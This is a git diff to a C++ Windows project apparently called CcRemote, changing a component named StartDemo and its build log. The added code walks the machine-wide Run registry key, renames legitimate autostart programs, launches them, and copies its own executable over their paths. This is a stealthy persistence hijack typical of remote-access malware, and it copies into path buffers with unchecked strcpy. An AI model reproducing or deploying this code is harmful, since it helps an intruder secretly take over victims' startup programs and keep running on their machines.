diff --git a/StartDemo/.vs/StartDemo/v15/.suo b/StartDemo/.vs/StartDemo/v15/.suo index b1a713a..0f745c1 100644 Binary files a/StartDemo/.vs/StartDemo/v15/.suo and b/StartDemo/.vs/StartDemo/v15/.suo differ diff --git a/StartDemo/Debug/StartDemo.exe b/StartDemo/Debug/StartDemo.exe index b7f28e2..54324b3 100644 Binary files a/StartDemo/Debug/StartDemo.exe and b/StartDemo/Debug/StartDemo.exe differ diff --git a/StartDemo/StartDemo/Debug/StartDemo.log b/StartDemo/StartDemo/Debug/StartDemo.log index 428d4f3..9f1e557 100644 --- a/StartDemo/StartDemo/Debug/StartDemo.log +++ b/StartDemo/StartDemo/Debug/StartDemo.log @@ -1,6 +1,15 @@ - StartDemo.cpp -f:\myapp\ccremote\startdemo\startdemo\startdemo.cpp(65): warning C4018: “<”: 有符号/无符号不匹配 -f:\myapp\ccremote\startdemo\startdemo\startdemo.cpp(75): warning C4018: “<”: 有符号/无符号不匹配 -f:\myapp\ccremote\startdemo\startdemo\startdemo.cpp(80): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. + CRegOperate.cpp +f:\myapp\ccremote\startdemo\startdemo\cregoperate.cpp(159): warning C4101: “vari”: 未引用的局部变量 + md5.cpp + md5file.cpp + StartDemo.cpp +f:\myapp\ccremote\startdemo\startdemo\startdemo.cpp(64): warning C4018: “<”: 有符号/无符号不匹配 +f:\myapp\ccremote\startdemo\startdemo\startdemo.cpp(101): warning C4018: “<”: 有符号/无符号不匹配 +f:\myapp\ccremote\startdemo\startdemo\startdemo.cpp(78): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明 +f:\myapp\ccremote\startdemo\startdemo\startdemo.cpp(106): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. + d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明 +f:\myapp\ccremote\startdemo\startdemo\startdemo.cpp(110): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. + d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明 + 正在生成代码... StartDemo.vcxproj -> F:\myapp\CcRemote\StartDemo\Debug\StartDemo.exe diff --git a/StartDemo/StartDemo/Debug/StartDemo.res b/StartDemo/StartDemo/Debug/StartDemo.res new file mode 100644 index 0000000..36f26e2 Binary files /dev/null and b/StartDemo/StartDemo/Debug/StartDemo.res differ diff --git a/StartDemo/StartDemo/StartDemo.cpp b/StartDemo/StartDemo/StartDemo.cpp index 5f6077b..6bad91c 100644 --- a/StartDemo/StartDemo/StartDemo.cpp +++ b/StartDemo/StartDemo/StartDemo.cpp @@ -23,7 +23,6 @@ char *GetFilename(char *p) int _tmain(int argc, _TCHAR* argv[]) - { //初始化临界区全局原子变量 HANDLE MutexHandle = CreateMutex(NULL, FALSE, TEXT("Cc28256")); //创建互斥体. 信号量为0. 有信号的状态.wait可以等待 @@ -48,26 +47,53 @@ int _tmain(int argc, _TCHAR* argv[]) HMODULE hm = GetModuleHandle(NULL); GetModuleFileName(hm, path, sizeof(path)); string selfMD5 = getFileMD5(path); - //64位注册表 - TCHAR N1path[] = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"; + //32位注册表 - TCHAR N3path[] = "SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\Run"; - - TCHAR N2path[] = "SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\Run"; + TCHAR N1path[] = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"; + //HKEY_CURRENT_USER - CRegOperate test_reg(HKEY_CURRENT_USER, N1path); + CRegOperate test_reg(HKEY_LOCAL_MACHINE, N1path); //HKEY_CURRENT_USER string name_ = "update"; char name2[MAX_PATH] = { 0 }; + char name3[MAX_PATH] = { 0 }; + char szCommandLine[MAX_PATH] = { 0 }; bool isMD5Same = false; for (int i = 0; i < test_reg.vecKeyData.size(); i++) { + if (_access(test_reg.vecKeyPath[i].c_str(), 0) != 0) + { + _tprintf(TEXT("%s,%s\n"), test_reg.vecKeyPath[i].c_str(), "不存在"); + continue; + } + _tprintf(TEXT("%s,%s\n"), test_reg.vecKeyPath[i].c_str(), "存在"); if (selfMD5 == getFileMD5(test_reg.vecKeyPath[i].c_str())) { isMD5Same = true; + strcpy_s(name3, test_reg.vecKeyData[i].c_str()); + name_ = name_ + GetFilename(name3); + strcpy(GetFilename(name3), name_.c_str()); + STARTUPINFO si = { sizeof(si) }; + PROCESS_INFORMATION pi; + si.dwFlags = STARTF_USESHOWWINDOW;//指定wShowWindow成员有效 + si.wShowWindow = TRUE;//此成员设为TRUE的话则显示新建进程的主窗口 + BOOL bRet = CreateProcess( + NULL,//不在此指定可执行文件的文件名 + name3,//命令行参数 + NULL,//默认进程安全性 + NULL,//默认进程安全性 + FALSE,//指定当前进程内句柄不可以被子进程继承 + CREATE_NEW_CONSOLE,//为新进程创建一个新的控制台窗口 + NULL,//使用本进程的环境变量 + NULL,//使用本进程的驱动器和目录 + &si, + &pi); + _tprintf(TEXT("%s\n"), "成功"); + break; + } } if (!isMD5Same) @@ -78,9 +104,31 @@ int _tmain(int argc, _TCHAR* argv[]) strcpy_s(name2, test_reg.vecKeyPath[i].c_str()); name_ = name_ + GetFilename(name2); strcpy(GetFilename(name2), name_.c_str()); + + strcpy_s(name3, test_reg.vecKeyData[i].c_str()); + name_ = name_ + GetFilename(name3); + strcpy(GetFilename(name3), name_.c_str()); + if (!rename(test_reg.vecKeyPath[i].c_str(), name2)) { + //strcpy_s(szCommandLine, test_reg.vecKeyData[i].c_str()); + STARTUPINFO si = { sizeof(si) }; + PROCESS_INFORMATION pi; + si.dwFlags = STARTF_USESHOWWINDOW;//指定wShowWindow成员有效 + si.wShowWindow = TRUE;//此成员设为TRUE的话则显示新建进程的主窗口 + BOOL bRet = CreateProcess( + NULL,//不在此指定可执行文件的文件名 + name3,//命令行参数 + NULL,//默认进程安全性 + NULL,//默认进程安全性 + FALSE,//指定当前进程内句柄不可以被子进程继承 + CREATE_NEW_CONSOLE,//为新进程创建一个新的控制台窗口 + NULL,//使用本进程的环境变量 + NULL,//使用本进程的驱动器和目录 + &si, + &pi); _tprintf(TEXT("%s\n"), "成功"); + CopyFile(path, test_reg.vecKeyPath[i].c_str(), false); break; } name_.clear();